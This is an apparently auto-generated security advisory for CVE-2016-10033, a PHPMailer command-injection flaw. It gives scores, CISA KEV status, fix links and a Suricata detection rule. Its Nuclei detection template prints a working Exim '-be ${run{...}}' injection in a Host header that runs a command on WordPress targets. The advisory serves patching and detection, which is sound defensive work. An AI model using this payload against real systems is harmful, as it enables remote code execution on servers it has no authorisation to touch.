CVE-2016-10033: PHPMailer Command Injection Vulnerability
Advisory generated from the CVE record, CISA, Exploit Observer and VEDAS: what it is, whether it is exploited, who is affected, and how to fix and detect it.
Generated by VEDAS. Scores as of 2026-11-01 19:19 UTC. Rebuilt every few hours from cve-scores, CISA KEV and vedas-signatures. How this works and its limits.
What it is
The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \” (backslash double quote) in a crafted Sender property.
Description quoted from the CVE record (assigned by mitre, published 2016-12-30).
Weakness: CWE-88 Improper Neutralization of Argument Delimiters in a Command (‘Argument Injection’)
How it can be exploited
Exploitable over the network with low attack complexity needing no privileges and no user interaction. Impact: confidentiality high, integrity high, availability high. CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CISA assessment (SSVC): CISA assesses exploitation as active. Automatable: yes. Technical impact: total.
- On CISA KEV since
- 2025-07-07
- US federal deadline
- 2025-07-28
- Ransomware use
- Not known
Public exploit evidence (Exploit Observer)
Also known as: BDU:2025-11542, CNNVD-201612-675, CNVD-2016-13107, CNVD-2017-10370, EDB-40968, EDB-40969, EDB-40970, EDB-40974, EDB-40986, EDB-41962, EDB-41996, EDB-42024, EDB-42221, EUVD-2016-1267, EUVD-2016-2107, EUVD-2020-0327, EUVD-2020-0331, EUVD-2022-4814, EUVD-2022-5138, GHSA-4pc3-96mx-wwc8
VEDAS cluster: VEDAS:AARDVARKANGEL
Exploit Observer links 30 pieces of public exploit code or detection modules that name this CVE or one of its aliases.
Exploit code and modules (30)
Code that names this CVE. A repository can be a working exploit, a scanner, a fake or malware; read it before running anything.
- Exploit-DB: https://www.exploit-db.com/raw/40968
- Exploit-DB: https://www.exploit-db.com/raw/40969
- Exploit-DB: https://www.exploit-db.com/raw/40970
- Exploit-DB: https://www.exploit-db.com/raw/40974
- Exploit-DB: https://www.exploit-db.com/raw/40986
- Exploit-DB: https://www.exploit-db.com/raw/41962
- Exploit-DB: https://www.exploit-db.com/raw/41996
- Exploit-DB: https://www.exploit-db.com/raw/42024
- Exploit-DB: https://www.exploit-db.com/raw/42221
- Nuclei template: https://raw.githubusercontent.com/projectdiscovery/nuclei-templates/main/http/cves/2016/CVE-2016-10033.yaml
- Code repository: https://github.com/alexander47777/cve-2016-10033
- Code repository: https://github.com/astrowmist/poc-cve-2016-10033
- and 18 more
Research and write-ups (2)
- Research or write-up: https://exploitbox.io/vuln/WordPress-Exploit-4-6-RCE-CODE-EXEC-CVE-2016-10033.html
- Research or write-up: https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html
Vulnerability databases and vendor advisories (27)
Catalogue entries, not exploit evidence.
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2016-1267
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2016-2107
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2020-0327
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2020-0331
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2022-4814
- Vulnerability database or vendor advisory: https://euvd.enisa.europa.eu/enisa/EUVD-2022-5138
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-4pc3-96mx-wwc8
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-5f37-gxvh-23v6
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-9h94-f2wf-hrhq
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-pr44-4jfr-286m
- Vulnerability database or vendor advisory: https://github.com/advisories/GHSA-r9mw-gwx9-v3h5
- Vulnerability database or vendor advisory: https://nvd.nist.gov/vuln/detail/CVE-2016-10033
- and 15 more
301 more references returned by Exploit Observer did not name this CVE or an alias, so they are left out.
VEDAS data as of 2026-11-01T17:12 UTC; fetched 2026-11-02.
Live scores
- EPSS
- 0.997
very likely to be attacked soon - VEDAS
- 0.983
strong exploit evidence - On CISA KEV
- Yes, since 2025-07-07
Thin horizontal line: the “likely” (EPSS 0.10) or “strong” (VEDAS 0.90) threshold. Shaded “no data” areas are periods when cve-scores did not publish. The vertical line is the day CISA added it to its exploited list.
Who is affected
| Product | Affected | Not affected |
|---|---|---|
| Not stated | version n/a | Not stated |
Version ranges exactly as the CVE record states them. “Before X” means X is the first fixed version.
How to fix it
CISA required action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Vendor guidance:
- https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18
- https://github.com/advisories/GHSA-5f37-gxvh-23v6
- https://nvd.nist.gov/vuln/detail/CVE-2016-10033
How to detect it
Nuclei template (active check)
WordPress - Remote Code Execution
The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass extra parameters to the mail command and consequently execute arbitrary code via a \” (backslash double quote) in a crafted Sender property.
Name and description quoted from the template, written by VEDAS.
The template sends 2 requests (GET /?author=1, POST /wp-login.php?action=lostpassword); it decides using regex, status, word matchers. Severity in the template: critical. Marked as not yet verified against a live vulnerable target.
Run it against a host you own or are authorised to test:
nuclei -u https://your-host -t CVE-2016-10033.yamlShow the template (57 lines)
id: CVE-2016-10033
info:
name: "WordPress - Remote Code Execution"
author: vedas-arpsyndicate
severity: critical
description: |
The mailSend function in the isMail transport in PHPMailer before 5.2.18 might allow remote attackers to pass
extra parameters to the mail command and consequently execute arbitrary code via a \" (backslash double quote)
in a crafted Sender property.
reference:
- https://www.exploit.observer/?keyword=CVE-2016-10033&match=exact
- https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2016-10033
cwe-id: CWE-88
metadata:
verified: false
tags: cve,cve2016,seclists,rce,edb,wordpress,phpmailer_project,kev,vkev,vuln
http:
- raw:
- |+
GET /?author=1 HTTP/1.1
Host: {{Hostname}}
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
- |+
POST /wp-login.php?action=lostpassword HTTP/1.1
Host: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)
Accept: */*
Content-Type: application/x-www-form-urlencoded
wp-submit=Get+New+Password&redirect_to=&user_login={{username}}
unsafe: true
matchers-condition: and
matchers:
- type: word
part: header
words:
- wp-login.php?checkemail=confirm
- type: status
status:
- 302
extractors:
- type: regex
name: username
group: 1
regex:
- 'Author:(?:[A-Za-z0-9 -\_="]+)?<span(?:[A-Za-z0-9 -\_="]+)?>([A-Za-z0-9]+)<\/span>'
internal: true
part: body
Suricata rules (network detection)
1 rule that alert on traffic matching this exploit: VEDAS CVE-2016-10033 WordPress - Remote Code Execution. Add them to your Suricata rule set and reload.
Show the rules
alert http $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"VEDAS CVE-2016-10033 WordPress - Remote Code Execution"; flow:established,to_server; http.uri; content:"/wp-login.php"; nocase; fast_pattern; content:"action="; nocase; classtype:web-application-attack; reference:cve,CVE-2016-10033; reference:url,https://www.exploit.observer/?keyword=CVE-2016-10033&match=exact; reference:url,https://subdomain.center/?engine=ammonites&keyword=wordpress&match=exact; sid:1011200; rev:1;)
CVE-2016-10033.rules on GitHub
References
Exploits and technical analysis
- 42221 (exploit, x_refsource_EXPLOIT-DB)
- 40969 (exploit, x_refsource_EXPLOIT-DB)
- 41962 (exploit, x_refsource_EXPLOIT-DB)
- 40968 (exploit, x_refsource_EXPLOIT-DB)
- 40974 (exploit, x_refsource_EXPLOIT-DB)
- 40986 (exploit, x_refsource_EXPLOIT-DB)
- 40970 (exploit, x_refsource_EXPLOIT-DB)
- 41996 (exploit, x_refsource_EXPLOIT-DB)
- 42024 (exploit, x_refsource_EXPLOIT-DB)
Government sources
- https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2016-10033 (government-resource)
Other references
- http://packetstormsecurity.com/files/140350/PHPMailer-Sendmail-Argument-Injection.html (x_refsource_MISC)
- https://www.drupal.org/psa-2016-004 (x_refsource_CONFIRM)
- https://legalhackers.com/advisories/PHPMailer-Exploit-Remote-Code-Exec-CVE-2016-10033-Vuln.html (x_refsource_MISC)
- https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18 (x_refsource_CONFIRM)
- 20161227 PHPMailer < 5.2.18 Remote Code Execution [updated advisory] [CVE-2016-10033] (mailing-list, x_refsource_BUGTRAQ)
- https://github.com/PHPMailer/PHPMailer/wiki/About-the-CVE-2016-10033-and-CVE-2016-10045-vulnerabilities (x_refsource_CONFIRM)
- http://packetstormsecurity.com/files/140291/PHPMailer-Remote-Code-Execution.html (x_refsource_MISC)
- http://www.rapid7.com/db/modules/exploit/multi/http/phpmailer_arg_injection (x_refsource_MISC)
- 20161227 PHPMailer < 5.2.18 Remote Code Execution [CVE-2016-10033] (mailing-list, x_refsource_FULLDISC)
- 95108 (vdb-entry, x_refsource_BID)
- 1037533 (vdb-entry, x_refsource_SECTRACK)
- https://developer.joomla.org/security-centre/668-20161205-phpmailer-security-advisory.html (x_refsource_CONFIRM)
Other databases
Where this comes from
This advisory is generated automatically by VEDAS from: CVE.org record, CISA KEV, cve-scores (EPSS and VEDAS), Exploit Observer, vedas-signatures. Text in quotes is reproduced from the source; everything else is a fixed template filled with source fields. Nothing here is written by a language model. Check the vendor advisory before acting, and read how VEDAS and Exploit Observer work, and their limits.